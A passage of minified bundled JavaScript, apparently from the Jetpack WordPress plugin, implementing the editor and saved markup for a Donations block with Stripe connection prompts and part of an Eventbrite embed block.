year&quot;:&quot;annualDonation&quot;}[e],o=t[n];s({[n]:{...o,show:r}})};return(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(o.BlockControls,{children:(0,u.jsx)(a.ToolbarGroup,{children:(0,u.jsx)(a.ToolbarItem,{children:()=&gt;(0,u.jsx)(a.Dropdown,{contentClassName:&quot;jetpack-donations__currency-popover&quot;,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,u.jsx)(a.ToolbarButton,{className:&quot;jetpack-donations__currency-toggle&quot;,icon:(0,u.jsxs)(u.Fragment,{children:[i+&quot; - &quot;+r.y[i].symbol,(0,u.jsx)(a.Dashicon,{icon:&quot;arrow-down&quot;})]}),label:__(&quot;Change currency&quot;,&quot;jetpack&quot;),onClick:e,onKeyDown:s=&gt;{t||s.keyCode!==l.DOWN||(s.preventDefault(),s.stopPropagation(),e())}}),renderContent:({onClose:e})=&gt;(0,u.jsx)(a.MenuGroup,{children:Object.keys(c.VK).map(t=&gt;(0,u.jsx)(a.MenuItem,{isSelected:t===i,icon:t===i?&quot;yes&quot;:&quot;&quot;,onClick:()=&gt;{(e=&gt;{const t=(0,c.Xj)(e);s({currency:e,oneTimeDonation:{...d,amounts:t},monthlyDonation:{...p,amounts:t},annualDonation:{...h,amounts:t}})})(t),e()},children:t+&quot; - &quot;+r.y[t].symbol},`jetpack-donations-currency-${t}`))})})})})}),(0,u.jsx)(o.InspectorControls,{children:(0,u.jsxs)(a.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,u.jsx)(a.ToggleControl,{checked:p.show,onChange:e=&gt;g(&quot;1 month&quot;,e),label:__(&quot;Show monthly donations&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0}),(0,u.jsx)(a.ToggleControl,{checked:h.show,onChange:e=&gt;g(&quot;1 year&quot;,e),label:__(&quot;Show annual donations&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0}),(0,u.jsx)(a.ToggleControl,{checked:m,onChange:e=&gt;s({showCustomAmount:e}),label:__(&quot;Show custom amount option&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0}),(0,u.jsx)(a.ExternalLink,{href:`https://wordpress.com/earn/payments/${(0,n.GE)()}`,children:__(&quot;View donation earnings&quot;,&quot;jetpack&quot;)})]})})]})}},27718(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(4567),n=s(3975),o=s(94715),a=s(27723),i=s(72730),l=s(10790);const __=a.__,c={attributes:{currency:{type:&quot;string&quot;,default:&quot;USD&quot;},oneTimeDonation:{type:&quot;object&quot;,default:{show:!0,planId:null,amounts:[5,15,100],heading:__(&quot;Make a one-time donation&quot;,&quot;jetpack&quot;),extraText:__(&quot;Your contribution is appreciated.&quot;,&quot;jetpack&quot;),buttonText:__(&quot;Donate&quot;,&quot;jetpack&quot;)}},monthlyDonation:{type:&quot;object&quot;,default:{show:!0,planId:null,amounts:[5,15,100],heading:__(&quot;Make a monthly donation&quot;,&quot;jetpack&quot;),extraText:__(&quot;Your contribution is appreciated.&quot;,&quot;jetpack&quot;),buttonText:__(&quot;Donate monthly&quot;,&quot;jetpack&quot;)}},annualDonation:{type:&quot;object&quot;,default:{show:!0,planId:null,amounts:[5,15,100],heading:__(&quot;Make a yearly donation&quot;,&quot;jetpack&quot;),extraText:__(&quot;Your contribution is appreciated.&quot;,&quot;jetpack&quot;),buttonText:__(&quot;Donate yearly&quot;,&quot;jetpack&quot;)}},showCustomAmount:{type:&quot;boolean&quot;,default:!0},chooseAmountText:{type:&quot;string&quot;,default:__(&quot;Choose an amount&quot;,&quot;jetpack&quot;)},customAmountText:{type:&quot;string&quot;,default:__(&quot;Or enter a custom amount&quot;,&quot;jetpack&quot;)}},supports:{html:!1},save:({attributes:e})=&gt;{const{currency:t,oneTimeDonation:s,monthlyDonation:a,annualDonation:c,showCustomAmount:u,chooseAmountText:d,customAmountText:p}=e;if(!s||!s.show||-1===s.planId)return null;const h={&quot;one-time&quot;:{title:__(&quot;One-Time&quot;,&quot;jetpack&quot;)},...a.show&amp;&amp;{&quot;1 month&quot;:{title:__(&quot;Monthly&quot;,&quot;jetpack&quot;)}},...c.show&amp;&amp;{&quot;1 year&quot;:{title:__(&quot;Yearly&quot;,&quot;jetpack&quot;)}}};return(0,l.jsx)(&quot;div&quot;,{children:(0,l.jsxs)(&quot;div&quot;,{className:&quot;donations__container&quot;,children:[Object.keys(h).length&gt;1&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__nav&quot;,children:Object.entries(h).map(([e,{title:t}])=&gt;(0,l.jsx)(&quot;div&quot;,{role:&quot;button&quot;,tabIndex:0,className:&quot;donations__nav-item&quot;,&quot;data-interval&quot;:e,children:t},`jetpack-donations-nav-item-${e} `))}),(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__content&quot;,children:(0,l.jsxs)(&quot;div&quot;,{className:&quot;donations__tab&quot;,children:[(0,l.jsx)(o.RichText.Content,{tagName:&quot;h4&quot;,className:&quot;donations__one-time-item&quot;,value:s.heading}),a.show&amp;&amp;(0,l.jsx)(o.RichText.Content,{tagName:&quot;h4&quot;,className:&quot;donations__monthly-item&quot;,value:a.heading}),c.show&amp;&amp;(0,l.jsx)(o.RichText.Content,{tagName:&quot;h4&quot;,className:&quot;donations__annual-item&quot;,value:c.heading}),(0,l.jsx)(o.RichText.Content,{tagName:&quot;p&quot;,value:d}),(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amounts donations__one-time-item&quot;,children:s.amounts.map(e=&gt;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amount&quot;,&quot;data-amount&quot;:e,children:(0,r.Ay)(e,t)},e))}),a.show&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amounts donations__monthly-item&quot;,children:a.amounts.map(e=&gt;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amount&quot;,&quot;data-amount&quot;:e,children:(0,r.Ay)(e,t)},e))}),c.show&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amounts donations__annual-item&quot;,children:c.amounts.map(e=&gt;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amount&quot;,&quot;data-amount&quot;:e,children:(0,r.Ay)(e,t)},e))}),u&amp;&amp;(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(o.RichText.Content,{tagName:&quot;p&quot;,value:p}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;donations__amount donations__custom-amount&quot;,children:[n.y[t].symbol,(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__amount-value&quot;,&quot;data-currency&quot;:t,&quot;data-empty-text&quot;:(0,r.Ay)(100*(0,i.dv)(t),t,{symbol:&quot;&quot;})})]})]}),(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__separator&quot;,children:&quot;——&quot;}),(0,l.jsx)(o.RichText.Content,{tagName:&quot;p&quot;,className:&quot;donations__one-time-item&quot;,value:s.extraText}),a.show&amp;&amp;(0,l.jsx)(o.RichText.Content,{tagName:&quot;p&quot;,className:&quot;donations__monthly-item&quot;,value:a.extraText}),c.show&amp;&amp;(0,l.jsx)(o.RichText.Content,{tagName:&quot;p&quot;,className:&quot;donations__annual-item&quot;,value:c.extraText}),(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-button donations__donate-button-wrapper donations__one-time-item&quot;,children:(0,l.jsx)(o.RichText.Content,{tagName:&quot;a&quot;,className:&quot;wp-block-button__link donations__donate-button donations__one-time-item&quot;,value:s.buttonText})}),a.show&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-button donations__donate-button-wrapper donations__monthly-item&quot;,children:(0,l.jsx)(o.RichText.Content,{tagName:&quot;a&quot;,className:&quot;wp-block-button__link donations__donate-button donations__monthly-item&quot;,value:a.buttonText})}),c.show&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-button donations__donate-button-wrapper donations__annual-item&quot;,children:(0,l.jsx)(o.RichText.Content,{tagName:&quot;a&quot;,className:&quot;wp-block-button__link donations__donate-button donations__annual-item&quot;,value:c.buttonText})})]})})]})})}}},31152(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;x});var r=s(94715),n=s(56427),o=s(47143),a=s(86087),i=s(27723),l=s(2274),c=s(53796),u=s(72730),d=s(27574),p=s(26247),h=s(16521),m=s(3696),g=s(70975),f=s(93033),b=s(56848),v=(s(3749),s(79085)),k=s(36580),y=s(10790);const __=i.__,x=e=&gt;{const{attributes:t,setAttributes:s}=e,{currency:i}=t,x=(0,r.useBlockProps)(),[j,w]=(0,a.useState)(&quot;&quot;),[_,C]=(0,a.useState)([]),[A,S]=(0,a.useState)(!1),E=(0,p.A)(),{lockPostSaving:N,unlockPostSaving:T}=(0,o.useDispatch)(&quot;core/editor&quot;),{getEntityRecord:B,getCurrentUser:P}=(0,o.useSelect)(&quot;core&quot;),{editEntityRecord:I,saveEditedEntityRecord:M}=(0,o.useDispatch)(&quot;core&quot;),L=(0,o.useSelect)(e=&gt;e(&quot;core/editor&quot;).getCurrentPost(),[]),R=(0,o.useSelect)(e=&gt;e(&quot;core/editor&quot;).isPostSavingLocked(),[]),D=(0,o.useSelect)(e=&gt;e(h.M).getConnectUrl()||&quot;&quot;,[]),{setConnectUrl:F,setConnectedAccountDefaultCurrency:O}=(0,o.useDispatch)(m.EF),z=(0,o.useSelect)(e=&gt;e(m.EF).getConnectedAccountDefaultCurrency());(0,a.useEffect)(()=&gt;{if(!i&amp;&amp;z&amp;&amp;!R){const e=z.toUpperCase(),t=!!u.VK[e];s(t?{currency:e}:{currency:&quot;USD&quot;})}},[i,z,R,s]);const U=e=&gt;{w(e)},H=P();(0,a.useEffect)(()=&gt;{H?.id&amp;&amp;B(&quot;root&quot;,&quot;user&quot;,H.id)},[H?.id,B]);const q=H?.meta?.jetpack_donation_warning_dismissed||!1;let V;(0,a.useEffect)(()=&gt;{H?.id&amp;&amp;!1===q&amp;&amp;S(!0)},[H,q]),(0,a.useEffect)(()=&gt;{N(&quot;donations&quot;);const e=e=&gt;e.reduce((e,{id:t,currency:s,type:r,interval:n})=&gt;(s===i&amp;&amp;&quot;donation&quot;===r&amp;&amp;(e[n]=t),e),{});(0,f.A)(&quot;donation&quot;).then(t=&gt;{if(!t&amp;&amp;&quot;object&quot;!=typeof t||t.errors)return T(&quot;donations&quot;),void w(__(&quot;Could not load data from WordPress.com.&quot;,&quot;jetpack&quot;));F((0,d.A)(L.id,t.connect_url)),O(t?.connected_account_default_currency?.toUpperCase());const s=e(t.products);return(e=&gt;{const t=Object.keys(e);return t.includes(&quot;one-time&quot;)&amp;&amp;t.includes(&quot;1 month&quot;)&amp;&amp;t.includes(&quot;1 year&quot;)})(s)?(C(s),void T(&quot;donations&quot;)):t.connect_url?(C({&quot;one-time&quot;:-1,&quot;1 month&quot;:-1,&quot;1 year&quot;:-1}),void T(&quot;donations&quot;)):(i&amp;&amp;(0,g.A)(i).then(t=&gt;{C(e(t)),T(&quot;donations&quot;)},U),void T(&quot;donations&quot;))},U)},[N,i,L.id,F,O,T]),V=E?j?(0,y.jsx)(v.A,{error:j}):D?(0,y.jsx)(c.V,{blockName:&quot;donations&quot;}):i?(0,y.jsx)(k.A,{...e,products:_}):(0,y.jsx)(n.Spinner,{}):(0,y.jsx)(l.A,{block:&quot;Donations Form&quot;,explanation:__(&quot;Connect your WordPress.com account to enable donations.&quot;,&quot;jetpack&quot;)});return(0,y.jsxs)(&quot;div&quot;,{...x,children:[V,A&amp;&amp;(0,y.jsx)(b.A,{onClose:async()=&gt;{if(S(!1),H?.id)try{await I(&quot;root&quot;,&quot;user&quot;,H.id,{meta:{jetpack_donation_warning_dismissed:!0}}),await M(&quot;root&quot;,&quot;user&quot;,H.id)}catch(e){console.error(&quot;Failed to update user meta:&quot;,e)}else console.error(&quot;Cannot update user meta: User not loaded&quot;)}})]})}},46197(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(87325),o=s(27718),a=s(31152),i=s(47693);s(46236);(0,r.M)(n,{edit:a.A,save:i.A,deprecated:[o.A]})},70975(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(1455),n=s.n(r);const o=async e=&gt;{try{return await n()({path:&quot;/wpcom/v2/memberships/products&quot;,method:&quot;POST&quot;,data:{type:&quot;donation&quot;,currency:e,is_editable:!1}})}catch(e){return Promise.reject(e.message)}}},93033(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(1455),n=s.n(r),o=s(93832);const a=async(e=null)=&gt;{const t=new URLSearchParams(window.location.search),s=(0,o.addQueryArgs)(&quot;/wpcom/v2/memberships/status&quot;,{source:&quot;https://wordpress.com&quot;===t.get(&quot;origin&quot;)?&quot;gutenberg-wpcom&quot;:&quot;gutenberg&quot;,...e&amp;&amp;{type:e},is_editable:!1});try{return await n()({path:s,method:&quot;GET&quot;})}catch(e){return Promise.reject(e.message)}}},56848(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(3924),n=s(97999),o=s(56427),a=s(86087),i=s(27723),l=s(10790);const __=i.__,c=({onClose:e})=&gt;{const t=(0,n.isWpcomPlatformSite)()?&quot;wpcom-support-donation-block&quot;:&quot;jetpack-support-donation-block&quot;;return(0,l.jsx)(o.Modal,{className:&quot;jetpack-donations-first-time-modal&quot;,onRequestClose:e,title:__(&quot;Accept Donations with Stripe&quot;,&quot;jetpack&quot;),children:(0,l.jsxs)(&quot;div&quot;,{className:&quot;jetpack-donations-first-time-modal__content&quot;,children:[(0,l.jsx)(&quot;p&quot;,{children:(0,a.createInterpolateElement)(__(&quot;To accept donations on your site, you&#039;ll need to connect your Stripe account. Here&#039;s what you need to do: &lt;docLink&gt;Learn more about donations&lt;/docLink&gt;.&quot;,&quot;jetpack&quot;),{docLink:(0,l.jsx)(o.ExternalLink,{href:(0,r.A)(t)})})}),(0,l.jsxs)(&quot;ol&quot;,{children:[(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Connect your Stripe account to your WordPress.com account&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Set up your business information in Stripe&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Configure your payment settings and supported currencies&quot;,&quot;jetpack&quot;)})]}),(0,l.jsx)(&quot;p&quot;,{children:__(&quot;Once connected, you can customize your donation form and start accepting payments.&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;p&quot;,{children:(0,a.createInterpolateElement)(__(&quot;Please note that accepting donations has additional requirements from Stripe. Learn more about &lt;requirementsLink&gt;requirements for accepting donations&lt;/requirementsLink&gt;.&quot;,&quot;jetpack&quot;),{requirementsLink:(0,l.jsx)(o.ExternalLink,{href:(0,r.A)(&quot;jetpack-support-donation-block-stripe-reqs&quot;)})})}),(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-donations-first-time-modal__actions&quot;,children:(0,l.jsx)(o.Button,{variant:&quot;primary&quot;,onClick:e,children:__(&quot;Got it&quot;,&quot;jetpack&quot;)})})]})})}},79085(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,a=({error:e})=&gt;(0,o.jsx)(r.Placeholder,{icon:&quot;lock&quot;,label:__(&quot;Donations&quot;,&quot;jetpack&quot;),instructions:e})},47693(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(75703),o=s(10790);const a=(0,n.O)(),i=({attributes:e})=&gt;{const{fallbackLinkUrl:t,oneTimeDonation:s,monthlyDonation:n,annualDonation:i}=e;if(!s||!s.show||!s.planId||-1===s.planId)return null;const l=r.useBlockProps.save();return(0,o.jsxs)(&quot;div&quot;,{...l,children:[(0,o.jsx)(r.RichText.Content,{tagName:&quot;h4&quot;,value:a.oneTimeDonation?.heading}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;p&quot;,value:s.extraText??a.extraText}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;a&quot;,className:&quot;jetpack-donations-fallback-link&quot;,href:t,rel:&quot;noopener noreferrer noamphtml&quot;,target:&quot;_blank&quot;,value:a.oneTimeDonation?.buttonText}),n.show&amp;&amp;(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(&quot;hr&quot;,{className:&quot;donations__separator&quot;}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;h4&quot;,value:a.monthlyDonation?.heading}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;p&quot;,value:n.extraText??a.extraText}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;a&quot;,className:&quot;jetpack-donations-fallback-link&quot;,href:t,rel:&quot;noopener noreferrer noamphtml&quot;,target:&quot;_blank&quot;,value:a.monthlyDonation?.buttonText})]}),i.show&amp;&amp;(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(&quot;hr&quot;,{className:&quot;donations__separator&quot;}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;h4&quot;,value:a.annualDonation?.heading}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;p&quot;,value:i.extraText??a.extraText}),(0,o.jsx)(r.RichText.Content,{tagName:&quot;a&quot;,className:&quot;jetpack-donations-fallback-link&quot;,href:t,rel:&quot;noopener noreferrer noamphtml&quot;,target:&quot;_blank&quot;,value:a.annualDonation?.buttonText})]})]})}},62225(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(94715),n=s(47143),o=s(27723),a=s(72730),i=s(75800),l=s(75703),c=s(10790);const __=o.__,u=(0,l.O)(),d=({activeTab:e,attributes:t,setAttributes:s})=&gt;{const{currency:l,oneTimeDonation:d,monthlyDonation:p,annualDonation:h,showCustomAmount:m,chooseAmountText:g=u.chooseAmountText,customAmountText:f=u.customAmountText}=t,b={&quot;one-time&quot;:&quot;oneTimeDonation&quot;,&quot;1 month&quot;:&quot;monthlyDonation&quot;,&quot;1 year&quot;:&quot;annualDonation&quot;}[e],v=e=&gt;t[b][e],k=(e,r)=&gt;{const n=t[b];s({[b]:{...n,[e]:r}})},y=(0,a.Xj)(l),x=v(&quot;amounts&quot;),j=(0,n.useSelect)(e=&gt;e(&quot;core/rich-text&quot;).getFormatTypes(),[]).map(e=&gt;e.name).filter(e=&gt;&quot;core/link&quot;!==e);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;donations__tab&quot;,children:[(0,c.jsx)(r.RichText,{tagName:&quot;h4&quot;,placeholder:__(&quot;Write a message…&quot;,&quot;jetpack&quot;),value:v(&quot;heading&quot;)||u[b]?.heading,onChange:e=&gt;k(&quot;heading&quot;,e)}),(0,c.jsx)(r.RichText,{tagName:&quot;p&quot;,placeholder:__(&quot;Write a message…&quot;,&quot;jetpack&quot;),value:g,onChange:e=&gt;s({chooseAmountText:e})}),(0,c.jsx)(&quot;div&quot;,{className:&quot;donations__amounts&quot;,children:x.map((e,t)=&gt;(0,c.jsx)(i.A,{currency:l,defaultValue:y[t],label:(0,o.sprintf)(
// translators: %d: Tier level e.g: &quot;1&quot;, &quot;2&quot;, &quot;3&quot;
__(&quot;Tier %d&quot;,&quot;jetpack&quot;),t+1),onChange:e=&gt;((e,t)=&gt;{const s=[...x];s[t]=e,k(&quot;amounts&quot;,s)})(e,t),value:e},`jetpack-donations-amount-${t}`))}),m&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(r.RichText,{tagName:&quot;p&quot;,placeholder:__(&quot;Write a message…&quot;,&quot;jetpack&quot;),value:f,onChange:e=&gt;s({customAmountText:e})}),(0,c.jsx)(i.A,{currency:l,label:__(&quot;Custom amount&quot;,&quot;jetpack&quot;),defaultValue:100*(0,a.dv)(l),className:&quot;donations__custom-amount&quot;,disabled:!0})]}),(0,c.jsx)(&quot;hr&quot;,{className:&quot;donations__separator&quot;}),(0,c.jsx)(r.RichText,{tagName:&quot;p&quot;,placeholder:__(&quot;Write a message…&quot;,&quot;jetpack&quot;),value:v(&quot;extraText&quot;)??u.extraText,onChange:e=&gt;k(&quot;extraText&quot;,e)}),(0,c.jsx)(&quot;div&quot;,{className:&quot;wp-block-button donations__donate-button-wrapper&quot;,children:(0,c.jsx)(r.RichText,{className:&quot;wp-block-button__link donations__donate-button&quot;,placeholder:__(&quot;Write a message…&quot;,&quot;jetpack&quot;),value:v(&quot;buttonText&quot;)||u[b]?.buttonText,onChange:e=&gt;{return t=e,void s({oneTimeDonation:{...d,buttonText:t},monthlyDonation:{...p,buttonText:t},annualDonation:{...h,buttonText:t}});var t},allowedFormats:j})})]})}},36580(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(86087),n=s(27723),o=s(13022),a=s(57018),i=s(62225),l=s(10790);const __=n.__,c=e=&gt;{const{attributes:t,products:s,setAttributes:n}=e,{oneTimeDonation:c,monthlyDonation:u,annualDonation:d}=t,[p,h]=(0,r.useState)(&quot;one-time&quot;),m=(0,r.useCallback)(e=&gt;p===e,[p]),g={&quot;one-time&quot;:{title:__(&quot;One-Time&quot;,&quot;jetpack&quot;)},...u.show&amp;&amp;{&quot;1 month&quot;:{title:__(&quot;Monthly&quot;,&quot;jetpack&quot;)}},...d.show&amp;&amp;{&quot;1 year&quot;:{title:__(&quot;Yearly&quot;,&quot;jetpack&quot;)}}};return(0,r.useEffect)(()=&gt;{c.planId===s[&quot;one-time&quot;]&amp;&amp;u.planId===s[&quot;1 month&quot;]&amp;&amp;d.planId===s[&quot;1 year&quot;]||n({...s[&quot;one-time&quot;]&amp;&amp;{oneTimeDonation:{...c,planId:s[&quot;one-time&quot;]}},...s[&quot;1 month&quot;]&amp;&amp;{monthlyDonation:{...u,planId:s[&quot;1 month&quot;]}},...s[&quot;1 year&quot;]&amp;&amp;{annualDonation:{...d,planId:s[&quot;1 year&quot;]}}})},[c,u,d,n,s]),(0,r.useEffect)(()=&gt;{!u.show&amp;&amp;m(&quot;1 month&quot;)&amp;&amp;h(&quot;one-time&quot;),!d.show&amp;&amp;m(&quot;1 year&quot;)&amp;&amp;h(&quot;one-time&quot;)},[u,d,h,m]),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;donations__container&quot;,children:[Object.keys(g).length&gt;1&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__nav&quot;,children:Object.entries(g).map(([e,{title:t}])=&gt;(0,l.jsx)(&quot;div&quot;,{role:&quot;button&quot;,tabIndex:0,className:(0,o.A)(&quot;donations__nav-item&quot;,{&quot;is-active&quot;:m(e)}),onClick:()=&gt;h(e),onKeyDown:()=&gt;h(e),children:t},`jetpack-donations-nav-item-${e} `))}),(0,l.jsx)(&quot;div&quot;,{className:&quot;donations__content&quot;,children:(0,l.jsx)(i.A,{activeTab:p,attributes:t,setAttributes:n})})]}),(0,l.jsx)(a.A,{...e})]})}},75703(e,t,s){&quot;use strict&quot;;function r(){if(&quot;undefined&quot;==typeof window)return{};const e=window.Jetpack_DonationsBlock?.defaultTexts;return&quot;object&quot;!=typeof e?{}:e}s.d(t,{O:()=&gt;r})},36850(e,t,s){&quot;use strict&quot;;s.d(t,{GY:()=&gt;n,_t:()=&gt;r,gQ:()=&gt;o});const r=/^\s*https?:\/\/(?:www\.)?(?:eventbrite\.[a-z.]+)\/e\/[^/]*?(\d+)\/?(?:\?[^/]*)?\s*$/i,n=/^\s*https?:\/\/(?:.+\.)?(?:eventbrite\.[a-z.]+)\/?(?:\?[^/]*)?\s*$/i,o=&quot;https://www.eventbrite.com/e/test-event-tickets-123456789&quot;},38449(e,t,s){&quot;use strict&quot;;s.d(t,{o:()=&gt;c,s:()=&gt;u});var r=s(56427),n=s(27723),o=s(5873),a=s(72660),i=s(10790);const __=n.__,_x=n._x,l=[{value:&quot;inline&quot;,label:__(&quot;In-page Embed&quot;,&quot;jetpack&quot;),preview:(0,i.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-preview__container&quot;,children:(0,i.jsx)(&quot;img&quot;,{src:a,alt:__(&quot;In page Eventbrite checkout example&quot;,&quot;jetpack&quot;)})})},{value:&quot;modal&quot;,label:__(&quot;Button &amp; Modal&quot;,&quot;jetpack&quot;)}],c=({setEditingUrl:e})=&gt;(0,i.jsx)(r.ToolbarGroup,{children:(0,i.jsx)(r.ToolbarButton,{className:&quot;components-toolbar__control&quot;,label:__(&quot;Edit URL&quot;,&quot;jetpack&quot;),icon:&quot;edit&quot;,onClick:()=&gt;e(!0)})}),u=({attributes:e,clientId:t,setAttributes:s})=&gt;(0,i.jsx)(o.A,{title:_x(&quot;Embed Type&quot;,&quot;option for how the embed displays on a page, e.g. inline or as a modal&quot;,&quot;jetpack&quot;),clientId:t,styleOptions:l,onSelectStyle:s,activeStyle:e.style,attributes:e,viewportWidth:130})},77629(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[s(87879).A]},87879(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(74997),o=s(27723),a=s(13022),i=s(66087),l=s(10790);const _x=o._x,c=[&quot;text&quot;,&quot;backgroundColor&quot;,&quot;textColor&quot;,&quot;customBackgroundColor&quot;,&quot;customTextColor&quot;,&quot;borderRadius&quot;];const u={attributes:{url:{type:&quot;string&quot;,validator:e=&gt;!e||e.startsWith(&quot;http&quot;)},eventId:{type:&quot;number&quot;},useModal:{type:&quot;boolean&quot;},style:{type:&quot;string&quot;},text:{type:&quot;string&quot;,default:_x(&quot;Register&quot;,&quot;verb: e.g. register for an event.&quot;,&quot;jetpack&quot;)},backgroundColor:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},customBackgroundColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;},borderRadius:{type:&quot;number&quot;}},migrate:e=&gt;{const{className:t,style:s}=e;let r=s;r||(r=e.useModal?&quot;modal&quot;:&quot;inline&quot;);const o={...Object.fromEntries(Object.entries(e).filter(([e])=&gt;&quot;useModal&quot;!==e&amp;&amp;!c.includes(e))),className:t&amp;&amp;t.replace(&quot;is-style-outline&quot;,&quot;&quot;),style:r},a=(0,i.pick)(e,c);return[o,[(0,n.createBlock)(&quot;jetpack/button&quot;,{element:&quot;a&quot;,text:a.text||_x(&quot;Register&quot;,&quot;verb: e.g. register for an event.&quot;,&quot;jetpack&quot;),...a,uniqueId:&quot;eventbrite-widget-id&quot;,className:t&amp;&amp;-1!==t.indexOf(&quot;is-style-outline&quot;)?&quot;is-style-outline&quot;:&quot;&quot;})]]},save:function({attributes:e}){const{eventId:t,useModal:s,url:n,style:o}=e;if(t)return s||&quot;modal&quot;===o?function(e){const{backgroundColor:t,borderRadius:s,customBackgroundColor:n,customTextColor:o,eventId:i,text:c,textColor:u,url:d}=e,p=(0,r.getColorClassName)(&quot;color&quot;,u),h=(0,r.getColorClassName)(&quot;background-color&quot;,t),m=(0,a.A)(&quot;wp-block-button__link&quot;,{&quot;has-text-color&quot;:u||o,[p]:p,&quot;has-background&quot;:t||n,[h]:h,&quot;no-border-radius&quot;:0===s}),g={backgroundColor:h?void 0:n,color:p?void 0:o,borderRadius:s?s+&quot;px&quot;:void 0};return(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-button&quot;,children:(0,l.jsx)(r.RichText.Content,{className:m,href:d,id:`eventbrite-widget-${i}`,rel:&quot;noopener noreferrer&quot;,role:&quot;button&quot;,style:g,tagName:&quot;a&quot;,target:&quot;_blank&quot;,value:c})})}(e):n&amp;&amp;(0,l.jsx)(&quot;a&quot;,{className:&quot;eventbrite__direct-link&quot;,href:n,children:n})},isEligible:(e,t)=&gt;(&quot;modal&quot;===e.style||e.useModal)&amp;&amp;((0,i.isEmpty)(t)||Object.entries(e).some(([e,t])=&gt;t&amp;&amp;c.includes(e)))}},56311(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(78218),l=s(56145),c=s(82306),u=s(36850),d=s(38449),p=s(50013),h=s(68332),m=s(72055),g=s(12074),f=(s(81699),s(10790));const __=a.__,_x=a._x,b={name:&quot;jetpack/button&quot;,attributes:{element:&quot;a&quot;,text:_x(&quot;Register&quot;,&quot;verb: e.g. register for an event.&quot;,&quot;jetpack&quot;),uniqueId:&quot;eventbrite-widget-id&quot;}},v=(0,n.withNotices)(e=&gt;{const{attributes:t,noticeOperations:s,onReplace:a,setAttributes:v}=e,{url:k,style:y}=t,x=(0,r.useBlockProps)(),[j,w]=(0,o.useState)(!1),[_,C]=(0,o.useState)(t.url||&quot;&quot;),[A,S]=(0,o.useState)(!1),E=!A&amp;&amp;k&amp;&amp;!u._t.test(k),N=(0,o.useCallback)(()=&gt;{s.removeAllNotices(),s.createErrorNotice((0,f.jsxs)(f.Fragment,{children:[__(&quot;Sorry, this content could not be embedded.&quot;,&quot;jetpack&quot;),&quot; &quot;,(0,f.jsx)(n.Button,{variant:&quot;link&quot;,onClick:()=&gt;(0,g.pG)(_,a),children:_x(&quot;Convert block to link&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})]}))},[s,a,_]),T=(0,o.useCallback)(e=&gt;{if(!e||u.gQ===e||&quot;modal&quot;===y)return;const t=(0,g.HE)(e);if(t){const r={eventId:t,url:e};(0,l.A)(r.url,S).then(e=&gt;{const t=(0,i.y)(c.attributes,{...r,url:e});v(t),C(e),s.removeAllNotices()}).catch(()=&gt;{v({eventId:void 0,url:void 0}),N()})}else N()},[y,s,N,v,C,S]);let 